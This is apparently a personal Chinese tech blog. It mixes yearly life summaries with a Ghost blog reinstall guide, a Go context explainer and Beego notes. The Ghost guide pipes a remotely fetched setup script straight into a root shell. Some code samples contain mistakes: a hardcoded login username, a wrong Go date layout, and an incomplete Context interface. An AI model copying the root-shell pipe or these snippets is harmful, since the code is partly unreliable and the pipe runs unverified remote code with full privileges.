林尽欢

2024年总结以及新年计划

LeslieLin — Tue, 31 Dec 2024 03:29:56 GMT

1.1 前言

丢掉幻想，准备斗争。

将近2024年年末，怀着几分期待和几分忐忑，做出了一个深思熟虑的决定。离开了毕业后工作的第一家公司，到了长沙工作。
离开一个待了多年的城市，心里难免有些复杂，可我觉得生活就该这样走走停停，跳出熟悉的舒适圈，去看看不同的风景。

1.2 工作

今年工作是一个比较大的变动，所以先来说说工作吧。偶然的机会，在朋友介绍下有了一份OFFER，工作地点在长沙。想了蛮长一段时间，基于现状的一些问题，决定离职，前往新的起点。
技术栈由JAVA变成了Go，挑战性不大，毕竟平时也有在学习Golang。
现在写代码有很多考虑，是个优点也是缺点，有时会将问题复杂化，希望自己接下来可以在中间找个平衡点。

1.3 生活

从广州到长沙，生活环境也有蛮大改变。来之前我还挺担心吃不习惯长沙的饮食，毕竟不太能吃辣，出乎意料，并没有想象中辣得不可接受。
公司提供住宿，但因为不太习惯和别人合住，加上自己有比较严重的洁癖，最终选择了租一套一室一厅的小公寓住下。小区环境还可以，走路通勤到公司20分钟左右。搬到长沙后，距离家人更远了，和家人的联系却更频繁了。
因缘际会，隔着网线，认识了一些聊得来、同爱好打CS的朋友。

1.4 计划

[ ] 提高GO语言的运用能力
[ ] 多出门走走

1.5 结语

with you all the best 2025

告别2024，迎来充满无限可能的2025。祝大家新的一年里工作顺利，一切安好。新年快乐！

2023年总结以及新年计划

LeslieLin — Sun, 31 Dec 2023 16:00:50 GMT

1.1 前言

LIVE A LITTLE,PLS.

尝遍二零二三年的酸甜苦辣，终是迎来了新的一年。连续写了三年的年总结和计划，本来今年是打算不写了，但是当翻看以前写的总结时，字里行间的一些话，封藏的记忆从脑海中如画面一般涌现出来，或许年终总结是珍藏记忆最好的方式吧。

1.2 毕业了

2023 年六月中旬，恭喜林先生顺利毕业。收获了一些朋友和美好的回忆，当然更多是校队里的队友，我们各自努力，顶峰再见。在这里，很感谢一位老师对我的知遇之恩，亦是我的伯乐，也希望他一切顺利，所愿皆所成。

1.3 工作了

JAVA后端开发工程师 base广州
找到了一份不错的工作，8 月份任职，目前已顺利转正。这段时间收获了个人外包所涉及不到的知识，也积累了更多的经验，加强了对业务深入理解能力。最重要的是办公室氛围不压抑，同事们都很好！
学习到的
1. MYSQL联合索引的优化
2. 千万级数据处理&调优
3. ...
久坐脊椎真的会不舒服，最近眼睛也有疲劳的感觉，唉，挑款眼药水吧。

1.4 康复训练

坚持就是胜利

锻炼身体永远是一件值得投资的一件事。由于一些事情，之前有很长一段时间都没有好好健身了，最近一段时间才康复训练，主要还是做一些居家能够锻炼的动作，强度不大，但也坚持三个月了。

1.5 题外话

我的青春随着CSGO的关服结束了，我再也感受不到打残局时肾上腺素飙升的那种感觉，她与残局皆遗憾😭。CSGO 的关服只为了 CS2 的推出，CS2 根本不是 CS，它只是为了迎合时代潮流的产物，不接受反驳。

1.6 计划

[x] 迁移升级博客
[ ] 读一些书
[ ] 想到再加

1.7 结语

旧年翻篇，一切如新。祝福大家新年快乐，万事如意，在新的一年里继续收获美好！

Ghost 博客迁移重装

LeslieLin — Tue, 05 Dec 2023 15:20:52 GMT

Charpter 1 前言

等到花开

2019 至今，原来已经四年了。早期安装 GHOST 环境的时候，系统版本、node 版本都比较低，Ghost 迭代更新很快，而最新版需要 node18版本的支持，现有Ubuntu16版本低，无法正常编译 node18 的依赖，所以就导致现在升不上去 ghost 最新版，于是乎打算迁移重装。

Charpter 2 备份数据

Ghost备份还是很简单的

Cap 2.1

进入后台找到 Labs 实验室，如图(图来自最新版 Ghost，旧版有点不一样，不过都是 Labs 关键字)

然后 Export 就好，保存好导出的 JSON 文件。

Cap 2.2

登入服务器终端，进入到 ghost 主程序目录

ghost backup #执行后会有以下输出

Love open source? We’re hiring JavaScript Engineers to work on Ghost full-time.
https://careers.ghost.org


+ sudo systemctl is-active ghost_iobiji-com
? Sudo Password [input is hidden] 
# 输入登录终端用户密码进行下一步
+ sudo mkdir -p /var/www/biji/backup
? Enter your Ghost administrator email address 
# 输入Ghost 后台登入邮箱
? Enter your Ghost administrator password [input is hidden]
# 输入Ghost 后台登入密码
# 执行完毕后会在当前目录生成 backup 文件夹，进去把备份压缩包下载到本地留存

得到的压缩包解压如图:

比较重要的目录

images 文章图片
media 媒体文件
settings 路由配置文件(可以忽略)
themes 主题文件

Ghost 是有用到 MYSQL 数据库存储的，只不过没有必要再去备份数据库，按照上面两个步骤备份，数据备份出来也是完整的。

Charpter 3 安装环境

操作系统: Ubuntu Server 22.04 LTS 64位

内存: 2G

CPU: 1核

公网带宽: 1Mpbs

Ghost’s current recommended Node version is Node v18 LTS.

Version	Support Level
17.x and below	Unsupported
18.x (Node v18 Hydrogen LTS)	Recommended
19.x and above	Unsupported

操作系统自行重装，不过多讲述。

Cap 3.1 安装node 18

# 终端执行命令
curl -sL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install -y nodejs
node -v # 查看node版本

Cap 3.2 安装Nginx 环境&MYSQL 数据库

sudo apt-get install nginx
nginx -v # 输出版本号
sudo ufw allow 'Nginx Full' # 防火墙允许HTTP和HTTPS连接

sudo apt install mysql-server
sudo mysql # 进入数据库管理
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '要设置的密码';# 修改默认密码
quit; # 退出数据库管理

Cap 3.3 安装GhostCLI脚手架

sudo npm install ghost-cli@latest -g # 安装Ghost脚手架

# 创建ghost文件夹的网站目录,文件夹名可自定义
sudo mkdir -p /var/www/ghost

# 使文件夹拥有权限，是当前用户名
# 例如当前用户名是ubuntu，那么应该是：sudo chown ubuntu:ubuntu /var/www/ghost
sudo chown : /var/www/ghost

# 设置读写权限
sudo chmod 775 /var/www/ghost

# 进入根目录
cd /var/www/ghost

# 国内机器建议使用tbify插件进行安装 Ghost 博客平台
sudo npm install -g tbify
tbify ghost install
# 非国内直接
ghost install

选项配置:

Enter your blog URL: 博客展示地址，格式:http(s):(www.)example.com，不支持ip地址。
Enter your MySQL hostname: 数据库主机地址，回车默认是localhost。
Enter your MySQL username: / Enter your MySQL password: 数据库用户名/密码，上面安装的数据库用户名是root，密码是自己设置的。
Enter your Ghost database name: Ghost博客数据库名
Do you wish to set up "ghost" mysql user? 设置数据库用户名为ghost，这个为了避免权限太大导致数据瞎搞，Ghost官方推荐是y。
Do you wish to set up Nginx? 自动化Nginx，推荐y。
Do you wish to set up SSL? 配置SSL证书，推荐y，如果你有证书问题，请查看文章最下面的问题。
Enter your email (For SSL Certificate):个人邮箱，配置ssl证书需要的邮箱地址。
Do you wish to set up Systemd? 使用ghost进程管理工具，推荐y，个人觉得海星。
Do you want to start Ghost? 启动Ghost博客就可以进入网址访问。

Charpter 4 恢复备份数据

Cap 4.1

以上步骤安装好 Ghost 之后，登入后台 https://example.com/ghost 设置好账号密码。

Cap 4.2 恢复媒体&主题

# 将备份的压缩包数据(包含images\media\themes)复制上传到/var/www/ghost/content目录下，覆盖即可。
sudo mv /放压缩包的路径/data.zip /var/www/ghost/content/data.zip

cd /var/www/ghost/content
# 解压
sudo unzip data.zip

# 一般 ghost 出现异常可以执行这条命令会有操作提示，这里强制覆盖了文件夹导致操作权限变了，ghost doctor 会给出修复指令，执行即可
ghost doctor

# 重启ghost播客
ghost restart

Cap 4.3 找到Labs

如图Labs

点击 Open Importer 按钮，然后导入～～

挞嗒，恭喜你！至此迁移恢复完毕。

Charpter 5 图片优化

参考之前写的一篇教程GHOST图片优化

Charpter 6 SSL 续期

Reference: Ghost Let's Encrypt

# 终端执行如下
sudo /etc/letsencrypt/acme.sh --cron --force --home "/etc/letsencrypt"

Charpter 6.1 没有了

2023.12.5

Coming soon

LeslieLin — Mon, 04 Dec 2023 17:09:26 GMT

This is 林尽欢, a brand new site by LeslieLin that's just getting started. Things will be up and running here shortly, but you can subscribe in the meantime if you'd like to stay up to date and receive emails when new content is published!

深入浅出 Go Context

LeslieLin — Mon, 26 Jun 2023 15:44:14 GMT

0x01 前言

Go Context 是 Go 语言标准库中用于处理请求作用域的包，它提供了一种优雅的方式来传递请求相关的上下文信息，例如请求的截止时间、用户认证信息等。

0x02 为什么需要 Context?

在 Go中，最重要的一个概念就是并发协程，它只需用一个关键字go就可以开启一个协程并运行。在并发协程中，由于超时、取消操作或者一些异常情况，往往需要进行抢占操作或者中断后续操作，比如在实际中当服务器端收到一个请求时，很可能需要发送几个请求去请求其他服务的数据，由于Go语法上的同步阻塞写法，我们一般会创建几个goroutine并发去做一些事情；那么这时候很可能几个goroutine之间需要共享数据，还有当request被取消时，创建的几个goroutine也应该被取消掉，那么这就是context的用武之地。

在讲context之前，先说说channel，使用 channel也可以解决这类问题。举个例子：

func main() {
	// 接收完成动作的信道
	stop := make(chan bool)
	// 接收消息的缓存信道,数量为 10
	messages := make(chan string, 10)

	// 释放资源(养成使用资源后释放资源的好习惯~)
	defer close(stop)
	defer close(messages)

	// consumer 新建一个协程,负责消费完成信道
	go func() {
		ticker := time.NewTicker(1 * time.Second)
		for _ = range ticker.C {
			// select 阻塞监听 channel 的 io 操作
			select {
			case <-stop:
				fmt.Println("Job has stop...")
				return
			default:
				fmt.Printf("Received message: %s\n", <-messages)
			}
		}
	}()

	// producer
	for i := 0; i < 10; i++ {
		messages <- fmt.Sprintf("I AM PRODUCER-%v", i)
	}
	time.Sleep(5 * time.Second)
	// 告诉 stop 信道,我要中止了
	stop <- true
	time.Sleep(1 * time.Second)
	fmt.Println("Process exit!")
}

上述例子中定义了一个 buffer 为0的 stop channel , 子协程运行着定时任务。如果主协程需要在某个时刻发送消息通知子协程中断任务退出，那么就可以让子协程监听这个 stop channel ，一旦主协程发出信号或者关闭 stop channel ，那么子协程就可以退出了，这样就实现了主协程通知子协程的需求。

但如果是父子任务的同步取消机制，层级更深次(比如子任务包含子任务，而这一层的子任务又包含下一层子任务)的情况下，使用 channel将变得复杂繁琐。

context 原理

先让我们来看看 context的实现原理

context 接口

type Context interface {
    // 返回与此上下文关联的取消函数。
    Done() <-chan struct{}

    // 返回此上下文的截止时间（如果有）。
    // 如果没有截止时间，则ok为false。
    Deadline() (deadline time.Time, ok bool)

    // 返回此上下文的键值对数据。
    Value(key interface{}) interface{}
}

context接口四个具体实现方法:

Deadline 返回绑定当前 context 的任务被取消的截止时间；如果没有设定期限，将返回 ok == false 。

Done 当绑定当前 context 的任务被取消时，将返回一个关闭的 channel ；如果当前 context 不会被取消，将返回 nil 。

Err 如果 Done 返回的 channel 没有关闭，将返回 nil ;如果 Done 返回的 channel 已经关闭，将返回非空的值表示任务结束的原因。如果是 context 被取消， Err 将返回 Canceled ；如果是 context 超时， Err 将返回 DeadlineExceeded 。

Value 返回 context 存储的键值对中当前 key 对应的值，如果没有对应的 key ,则返回 nil 。

contxxt接口六个函数:

Background

TODO

WithCancel

WithDeadline

WithTimeout

WithValue

context重要的结构体

emptyCtx

emptyCtx本质是一个整型类型，他对Context接口的实现，非常简单，其实是什么也没做，都是一堆空方法。

// An emptyCtx is never canceled, has no values, and has no deadline. It is not
// struct{}, since vars of this type must have distinct addresses.
type emptyCtx int

func (*emptyCtx) Deadline() (deadline time.Time, ok bool) {
	return
}

func (*emptyCtx) Done() <-chan struct{} {
	return nil
}

func (*emptyCtx) Err() error {
	return nil
}

func (*emptyCtx) Value(key any) any {
	return nil
}

func (e *emptyCtx) String() string {
	switch e {
	case background:
		return "context.Background"
	case todo:
		return "context.TODO"
	}
	return "unknown empty Context"
}

var (
	background = new(emptyCtx)
	todo       = new(emptyCtx)
)

// Background returns a non-nil, empty Context. It is never canceled, has no
// values, and has no deadline. It is typically used by the main function,
// initialization, and tests, and as the top-level Context for incoming
// requests.
func Background() Context {
	return background
}

// TODO returns a non-nil, empty Context. Code should use context.TODO when
// it's unclear which Context to use or it is not yet available (because the
// surrounding function has not yet been extended to accept a Context
// parameter).
func TODO() Context {
	return todo
}

可以看到上述代码中使用new了两个结构体为 emptyCtx 的变量background 和 todo ，String()方法得意 case对比得出对象。

Background和TODO这两个公共方法是返回background和todo；官方建议Background用做顶层的context，todo看起来用来占位使用，不过实现来说两个没区别

cancelCtx

通过WithCancel来创建的就是cancelCtx，WithCancel返回一个ctx和cancel方法，通过调用cancel方法，可以将Context取消，来控制协程，具体看下面例子：

func fixLeakingByContext() {
	// 创建一个带有取消方法的上下文
	ctxWithCancel, cancel := context.WithCancel(context.Background())
	// 释放资源
	defer cancel()

	// 创建一个信道
	doChan := make(chan interface{})

	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)
	go doJob(ctxWithCancel, doChan)

	// 异步取消
	go func() {
		cancel()
	}()
	// 随机触发某个子协程
	doChan <- 1
	// 休眠一下方便看到效果
	time.Sleep(1 * time.Second)
  // 执行后输出结果
  /*
	Cancelled
	Received:  1
	Cancelled
	Cancelled
	Cancelled
	*/
}

func doJob(ctx context.Context, doChan chan interface{}) {
	select {
	case <-ctx.Done():
		fmt.Println("Cancelled")
		return
	case res := <-doChan:
		fmt.Println("Received: ", res)
		return
	}
}

可以看到上述代码执行后的输出结果只有一个 Received，其他的子协程由于收到了取消的信号，就直接 return ，不往下执行了，可以避免协程资源没有被回收引起的内存泄露。

再看看 WithCancel的源码：

func WithCancel(parent Context) (ctx Context, cancel CancelFunc) {
	if parent == nil {
		panic("cannot create context from nil parent")
	}
         // WithCancel通过一个父级Context来创建出一个cancelCtx
	c := newCancelCtx(parent)
         // 调用propagateCancel根据父级context的状态来关联cancelCtx的cancel行为
	propagateCancel(parent, &c)
         // 返回c和一个方法，方法中调用c.cancel并传递Canceled变量
	return &c, func() { c.cancel(true, Canceled) }
}

func newCancelCtx(parent Context) cancelCtx {
	return cancelCtx{Context: parent}
}
var Canceled = errors.New("context canceled")

WithCancel通过一个父级Context来创建出一个cancelCtx，然后调用propagateCancel根据父级context的状态来关联cancelCtx的cancel行为（感觉这里不应该叫propagate，冒泡一般理解是自下向上，这个函数明显是自下向上，应该叫cascade更为合理一些）。随后返回c和一个方法，方法中调用c.cancel并传递Canceled变量（其实是一个error实例）；

cancelCtx是WidthDeadline和WidthTimeout的基石，所以cancelCtx的实现相对复杂。

newCancelCtx方法可以看到是创建了一个cancelCtx实例

func newCancelCtx(parent Context) cancelCtx {
	return cancelCtx{Context: parent}
}

再看看 cancelCtx 的定义

// A cancelCtx can be canceled. When canceled, it also cancels any children
// that implement canceler.
type cancelCtx struct {
	Context // 内嵌结构体

	mu       sync.Mutex            // protects following fields
	done     atomic.Value          // of chan struct{}, created lazily, closed by first cancel call
	children map[canceler]struct{} // set to nil by the first cancel call
	err      error                 // set to non-nil by the first cancel call
}

// 函数返回一个只读channel，而且没有地方向这个channel里写数据。所以直接调用这个只读channel会被阻塞。一般通过搭配 select 来使用。一旦关闭，就会立即读出零值。
func (c *cancelCtx) Done() <-chan struct{} {
    c.mu.Lock()
    if c.done == nil {
        c.done = make(chan struct{})
    }
    d := c.done
    c.mu.Unlock()
    return d
}

// 这个函数功能就是关闭channel：c.done();
// 递归取消它的所有子节点；最后从父节点删除自己。
// 通过关闭channel，将取消信号传递给了它的所有子节点。
// goroutine 接收到取消信号的方式就是 select 语句中的 读c.done 被选中
func (c *cancelCtx) cancel(removeFromParent bool, err error) {
    if err == nil {// 必须传一个err值，后面判断用
        panic("context: internal error: missing cancel error")
    }
    c.mu.Lock()
    if c.err != nil {
        c.mu.Unlock()
        return // already canceled 已经被其他协程取消了
    }
    c.err = err
    
    // 关闭channel，通知其他协程
    if c.done == nil {
        c.done = closedchan
    } else {
        close(c.done)
    }
    //遍历它是所有子节点
    for child := range c.children {
        // NOTE: acquiring the child's lock while holding parent's lock.
        child.cancel(false, err)// 递归地取消所有子节点
    }
    // 将子节点清空
    c.children = nil
    c.mu.Unlock()
    if removeFromParent {
       // 从父节点中移除自己
        removeChild(c.Context, c)
    }
}

cancelCtx有一个内嵌的Context类型，实际存储的都是父级上下文对象，还有四个独立的字段：

mu：一个互斥量，用来加锁保证某些操作的线程安全性
done：atomic.Value一个可以对任意类型进行原子型操作的结构；提供Load和Store方法；看Go源码这里存的是一个struct{}类型的channel
children：一个key为canceler值为struct{}的map类型；
err：存放error的字段

这里的canceler是一个接口，代表可以直接被cancel的Context类型，基本指的是 *cancelCtx和 *timerCtx两种context，也被他俩实现

// A canceler is a context type that can be canceled directly. The
// implementations are *cancelCtx and *timerCtx.
type canceler interface {
	cancel(removeFromParent bool, err error)
	Done() <-chan struct{}
}

下面看下propagateCancel，据父级context的状态来关联cancelCtx的cancel行为

// propagateCancel arranges for child to be canceled when parent is.
func propagateCancel(parent Context, child canceler) {
   // 父节点是空的，直接返回
    if parent.Done() == nil {
        return // parent is never canceled
    }
    
    if p, ok := parentCancelCtx(parent); ok {
        p.mu.Lock()
        if p.err != nil {
            // parent has already been canceled
            child.cancel(false, p.err)//父节点已经取消，它的子节点也需要取消
        } else {
            //父节点未取消
            if p.children == nil {
                p.children = make(map[canceler]struct{})
            }
            // 把这个child放到父节点上
            p.children[child] = struct{}{}
        }
        p.mu.Unlock()
    } else {
      // 如果没有找到可取消的父 context。新启动一个协程监控父节点或子节点取消信号
        go func() {
            select {          
             // 保证父节点被取消的时候子节点会被取消
            case <-parent.Done():
                child.cancel(false, parent.Err())
            case <-child.Done():
            }
        }()
    }
}

parentCancelCtx

这个函数识别三种类型的Context：cancelCtx，timerCtx，valueCtx

func parentCancelCtx(parent Context) (*cancelCtx, bool) {
    for {
        switch c := parent.(type) {
        case *cancelCtx:
            return c, true    // 找到最近支持cancel的parent，由parent进行取消操作的调用
        case *timerCtx:
            return &c.cancelCtx, true // 找到最近支持cancel的parent，由parent进行取消操作的调用
        case *valueCtx:
            parent = c.Context // 递归
        default:
            return nil, false
        }
    }
}

timerCtx

timerCtx嵌入了cancelCtx结构体，所以cancelCtx的方法也可以使用。
timerCtx主要是用于实现WithDeadline和WithTimeout两个context实现，其继承了cancelCtx结构体，同时还包含一个timer.Timer定时器和一个deadline终止实现。Timer会在deadline到来时，自动取消context。

// A timerCtx carries a timer and a deadline. It embeds a cancelCtx to
// implement Done and Err. It implements cancel by stopping its timer then
// delegating to cancelCtx.cancel.
type timerCtx struct {
	*cancelCtx
	timer *time.Timer // Under cancelCtx.mu.

	deadline time.Time
}

func (c *timerCtx) cancel(removeFromParent bool, err error) {
   c.cancelCtx.cancel(false, err) //由于继承了cancelCtx，这里调用了cancelCtx的cancel()方法
    if removeFromParent {
        // Remove this timerCtx from its parent cancelCtx's children.
        removeChild(c.cancelCtx.Context, c)
    }
    c.mu.Lock()
    if c.timer != nil {
        c.timer.Stop()//停止定时器
        c.timer = nil
    }
    c.mu.Unlock()
}

上方 cancel函数继承了cancelCtx的方法cancel()，然后后面进行自身定时器Stop()的操作，这样就可以实现取消操作了。

valueCtx

// A valueCtx carries a key-value pair. It implements Value for that key and
// delegates all other calls to the embedded Context.
type valueCtx struct {
	Context
	key, val any
}

func WithValue(parent Context, key, val any) Context {
	if parent == nil {
		panic("cannot create context from nil parent")
	}
	if key == nil {
		panic("nil key")
	}
	if !reflectlite.TypeOf(key).Comparable() {
		panic("key is not comparable")
	}
	return &valueCtx{parent, key, val}
}

通过键值对的方式保存(注意value是非线程安全)

func (c *valueCtx) String() string {
	return contextName(c.Context) + ".WithValue(type " +
		reflectlite.TypeOf(c.key).String() +
		", val " + stringify(c.val) + ")"
}

func (c *valueCtx) Value(key any) any {
	if c.key == key {
		return c.val
	}
	return value(c.Context, key)
}

如果key与WithValue调用时相同，则返回对应的val，否则进入value方法，在内嵌的Context中查找key对应的值，根据Context类型先做一些类型判断，来判断一些关键的key如cancelCtxKey，不然继续在内嵌Context中查找。

0x03 使用示例

带超时的上下文

func main() {
	ctx, cancel := context.WithTimeout(context.Background(), time.Second*5)
	defer cancel() // 在函数结束时调用 cancel 函数释放资源
	// 使用 ctx 执行一些需要在 5 秒内完成的操作

	done := make(chan bool)

	go func(doneCh chan bool) {
		// 模拟超时行为
		time.Sleep(10 * time.Second)
		doneCh <- true
	}(done)

	select {
	case <-ctx.Done():
		// 结束,释放资源
		fmt.Println("Cancelled")
		return
	case <-done:
		fmt.Println("Received")
		return
	}
}

带截止时间的上下文

deadline := time.Now().Add(time.Second * 10)  // 10 秒后的截止时间
ctx, cancel := context.WithDeadline(context.Background(), deadline)
defer cancel()

// 使用 ctx 执行一些需要在 10 秒内完成的操作

传递值的上下文

ctx := context.WithValue(context.Background(), key, value)

// 在其他函数中可以使用 ctx.Value(key) 获取传递的值

并发控制

ctx, cancel := context.WithCancel(context.Background())
defer cancel()

go func() {
    // 执行一些耗时的操作

    // 在操作完成或需要提前退出时调用 cancel 函数
    cancel()
}()

// 在主函数或其他需要等待的地方，使用 <-ctx.Done() 接收信号
select {
case <-ctx.Done():
    // 收到信号后的处理逻辑
}

2022年总结以及新年计划

LeslieLin — Sat, 31 Dec 2022 16:00:06 GMT

0x0 前言

冬天到了，春天还会远吗？

岁末临近，新年将至。即将告别2022，循例一年一度的个人总结。

0x1 生活

2022年，疫情已过三年，防疫政策也迎来了它的新面目，放开得很突然，面对这突如其来的改变，似乎大家都选择了躺平。。家里老人小孩都有阳了，现在都已经阳康，很庆幸所有人都安全无恙。这大概是今年最好的消息了。我的三舅也把九月从广州带了回来，猫猫已经熟悉两天了，他还是不太敢出房间门。这一年来我的心情反复，有过痛苦也有过快乐，可以说是痛并快乐着。因为是插本备考的原因，还有其他大大小小的事情要忙，健身的计划也搁置很久。考完试后，再康复训练吧。

0x2 学习

今年是毕业季，专业课程全部以优完成。今年加强了java技能之外，也深入了GO语言的学习。

由于是备考插本的关系，顺带把C也学习了，掌握了部分算法，在这个过程中也扩展了我开发的视野和思路。插本复习的进度也不错(iPad无纸化学习真的太棒了)，高数、专业课、英语已经在N刷了。。。1月份可以着手背诵政治了，只能说是往死里背吧。

0x3 计划

~~- [ ] 插本上岸(终究是栽在了政治)~~

[x] 加强算法知识

0x4 结语

2022年跌宕起伏，起起落落。多少人因为疫情失业、隔离、失败承受了这个年纪不应该承受的压力。见证了许多不一样的人间烟火，从防疫到抗疫，从隔离到开放，从幻阳到患阳再到阳康等等。这一代的我们很坚强！虽然现在大家都很难过，但我相信一切都在往好的发展，正如开头所说冬天到了，春天还会远吗？

祝福大家新年快乐，身体健康！

2021年总结以及新年计划

LeslieLin — Fri, 31 Dec 2021 13:36:00 GMT

0x0 前言

获得、失去、释怀、成长、完结、待续，一年又一年。

这一年整体上无疑比2019、2020年都要顺利。很多事情都开始变得不一样了，似乎可以完全控制自己的生活节奏了。如果说2019年是自我反复挣扎的一年，2020年是焦虑失控的一年，那2021年就是自我治疗和接纳的一年了。

0x1 工作

今年就做一个简单的brief吧，方向依然是以web全栈开发为主。但今年也多了一个新的方向，也就是代码审计。所以在接下来的时间里，不仅是去做好开发的事情，同时也要学习审计方面的各种知识，希望在毕业之前形成一个比较良好的知识储备库。

0x2 生活

这一年里在生活上我主要做了两方面的事情，在我看来都极为重要。一是在心理上努力让自己愉悦，二是身体上努力让自己健康。这一年里有在坚持健身，也有在坚持打球训练，事实证明，在这些坚持下，身体好了很多，整个人的精神状态也好了起来，现在甚至是不运动就浑身难受、坐立不安，对我来说已经成为了一种习惯。更确切地说，健身的过程中，不管是运动释放压力、看到自己比以前更强了，看到自己的身材更好了，本身就是快乐的。身体好了之后，做很多事情都变得容易起来。其次是，我每天都会晒半个小时的日光浴，晒的时候可以闭上眼睛冥想也可以什么都不想，每次下来，我都觉得自己放松了下来。最近一个月来，睡眠也得到了改善，从以前的凌晨4、5点都睡不着到现在12点就可以入睡。内心平静的时候，更能冷静稳妥地处理好一些事情，不管是工作还是生活。

0x3 学习

今年学习的进度在我看来还是比较不错的，六级刚考完没多久，一次过的了。现在主要精力还是放在了java知识累积和代码审计上，后面的计划还是继续深入学习。有空就读书，不管一年能看几本书，但总归是要看书的。

0x4 计划

[x] 复习专插本
[x] 加强java技能
[x] 储备代码审计知识

0x5 结语

马上2021年就要过去了，可能在我人生历程的21年里，2021是最特别的一年。

这一年也是我成长最快的一年，不管是哪个方面。

祝大家新年快乐，得偿所愿！

无题

LeslieLin — Tue, 12 Oct 2021 17:43:32 GMT

随便写写

最近实在是太丧了...丧的让我害怕，疲惫，像是二十一年的人生已经过了一辈子。

一夜入秋，天气渐凉。这样的天气蛮适合睡懒觉，但最近的睡眠质量越来越差，以前吧，怎么个凌晨2、3点差不多能和周工谈笑风生，但现在到5、6点清晰无比，稍微眯一会儿眼睛就得起床上早课了。好似有某种不明所以的压迫感和无力感，紧紧地笼罩着我，像是头顶乌云一般。

国庆的当天，感冒了，昏昏沉沉睡了好几天，不见好转，以为没吃药，捂被子出出汗就好了，最后还是去买了盒999感冒灵，吃了两天好了。也许是休息不好、心理上也不太过得去导致抵抗力变差了，虽然也有在健身、打球。

很多技术类的课程，我都向老师申请了免修以便于空出更多的时间做自己的事情，但每天的睡眠质量差，休息不好，心理似乎很难去集中精力去码项目、学习新的知识，效率直线下降的趋势，心理上是更多的无奈，这是一个死循环。

难道真要是得开安眠药了吗，我不想。

今天已经是十月份将近中旬，再过一个多月，又迎来了2022年了。

又是诸事不顺的一年。

希望自己能好好调整过来吧。

事情到头来总会变得明晰，生活也会逐步稳定的，在一定意义上，我们的生活总是通过一系列排除而日渐成形：我们丢弃不能喜欢的东西，抛却不能激励我们的东西。

Beego学习笔记

LeslieLin — Wed, 19 May 2021 17:06:05 GMT

Beego介绍

beego是一个快速开发 Go 应用的 HTTP 框架，他可以用来快速开发 API、Web 及后端服务等各种应用，是一个 RESTful 的框架，主要设计灵感来源于 tornado、sinatra 和 flask 这三个框架，但是结合了 Go 本身的一些特性（interface、struct 嵌入等）而设计的一个框架。

目前国内用的比较多的就是beego和gin两个框架，如果项目比较小，个人开发，并且只是用golang来写一些api接口的话，gin是不错的选择，如果是团队开发或者不仅要用golang写api，还要用golang写web后端，并且注重代码质量的话建议使用beego。

Feature特性

MVC
REST
智能路由
日志调试
配置管理
模板自动渲染
layout设计
中间件插入逻辑
方便的JSON/XML服务

Beego脚手架安装

bee脚手架

go get github.com/beego/bee # 全局安装

Set设置环境变量Mac/Linux

#go语言安装主根目录
export GOROOT=/usr/local/go #替换你的目录
#GOPATH 是自己的go项目路径，自定义设置
export GOPATH=/Users/ding/go_workspace #替换你的目录
#GOBIN 当我们使用go install命令编译后并且安装的二进制程序目录
export GOBIN=$GOPATH/bin
# 启用 Go Modules 功能
export GO111MODULE=on
# 配置 GOPROXY 环境变量
export GOPROXY=https://goproxy.cn,direct
export PATH=$PATH:$GOROOT/bin:$GOBIN

Create创建第一个项目

bee new beegodemo

Init初始化模块依赖 & 运行

进入到项目根目录执行如下

go mod init beegodemo
bee run

Router路由注册

在项目路径routers/router.go文件

package routers

import (
	"beegodemo/controllers"
	"github.com/astaxie/beego"
)

func init() {
	/*
	分析beego.Router方法
	func Router(rootpath string, c ControllerInterface, mappingMethods ...string)
	可以看到方法需传入三个参数，第一个为访问路径，第二个为控制器的指针地址，第三个参数具体解析到指定的方法（可选参数）
	 */
	beego.Router("/", &controllers.MainController{})
	beego.Router("/reg", &controllers.OrmTestController{}) // 如果不传入第三个参数，将会默认指向控制器的Get()方法
	beego.Router("/login", &controllers.OrmTestController{}, "get:Login") // 支持get/post/put/delete等方式，其中Login为OrmTest控制器下的Login方法
}

OrmTestController.go

package controllers

import (
	"beegodemo/models"
	"fmt"
	"github.com/astaxie/beego/orm"
)

// 定义结构体，继承beego的MainController控制器
type OrmTestController struct {
	MainController
}


func (this OrmTestController) Get() {
	ormCase := orm.NewOrm()
	pass := models.PassEncode(this.GetString("password"))
	user := models.User{}
	user.Username = this.GetString("username") // 获取GET/POST参数
	user.Password = pass

	id, err := ormCase.Insert(&user)
	if err != nil {
		this.Ctx.WriteString(err.Error())
		return
	}
	fmt.Println(id)
	this.Ctx.WriteString("插入成功")
}

func (this OrmTestController) Login() {
	ormCase := orm.NewOrm()
	pass := this.GetString("password")
	user := models.User{
		Username: "3",
	}
	// user.Username = this.GetString("username")
	errS := ormCase.Read(&user, "username")
	if errS != nil {
		fmt.Println(errS.Error())
		return
	}
	err := models.ComparePass(user.Password, pass)
	if err != nil {
		this.Ctx.WriteString("用户密码不正确")
		return
	}
	this.Ctx.WriteString("登录成功")
}

Model模型

Web 应用中我们用的最多的就是数据库操作，而 model 层一般用来做这些操作。说的简单一点，如果应用足够简单，那么Controller可以处理一切的逻辑，如果逻辑里面存在着可以复用的东西，那么就抽取出来变成一个模块。因此Model就是逐步抽象的过程，一般会在Model里面处理一些数据读取，如下是我自定义一些工具类的代码片段：

package models

import (
	"fmt"
	"github.com/astaxie/beego"
	"golang.org/x/crypto/bcrypt"
	"time"
)

// @Description 时间戳转日期
func UnixToDate(timestamp int) string {
	t := time.Unix(int64(timestamp), 0)
	return t.Format("2006-01-02 15:01:05")
}

func DateToUnix(str string) int64 {
	template := "2006-01-02 15:01:05"
	t, err := time.ParseInLocation(template, str, time.Local)
	if err != nil {
		beego.Info(err)
	}
	return t.Unix()
}

// @Description 获取当前日期
func GetDate() string {
	t := time.Now()
	return t.Format("2006-01-02 15:01:05")
}

// @Description 密码HASH加密
func PassEncode(str string) string {
	hash, err := bcrypt.GenerateFromPassword([]byte(str), bcrypt.DefaultCost) //加密处理
	if err != nil {
		fmt.Println(err)
	}
	encodePWD := string(hash)

	return encodePWD
}

// @Description 验证密码
func ComparePass(oldPass string, inputPass string) error {
	return bcrypt.CompareHashAndPassword([]byte(oldPass), []byte(inputPass))
}

在beego应用注册我的工具

    beego.AddFuncMap("unixToDate", models.UnixToDate)
	beego.AddFuncMap("DateToUnix", models.DateToUnix)
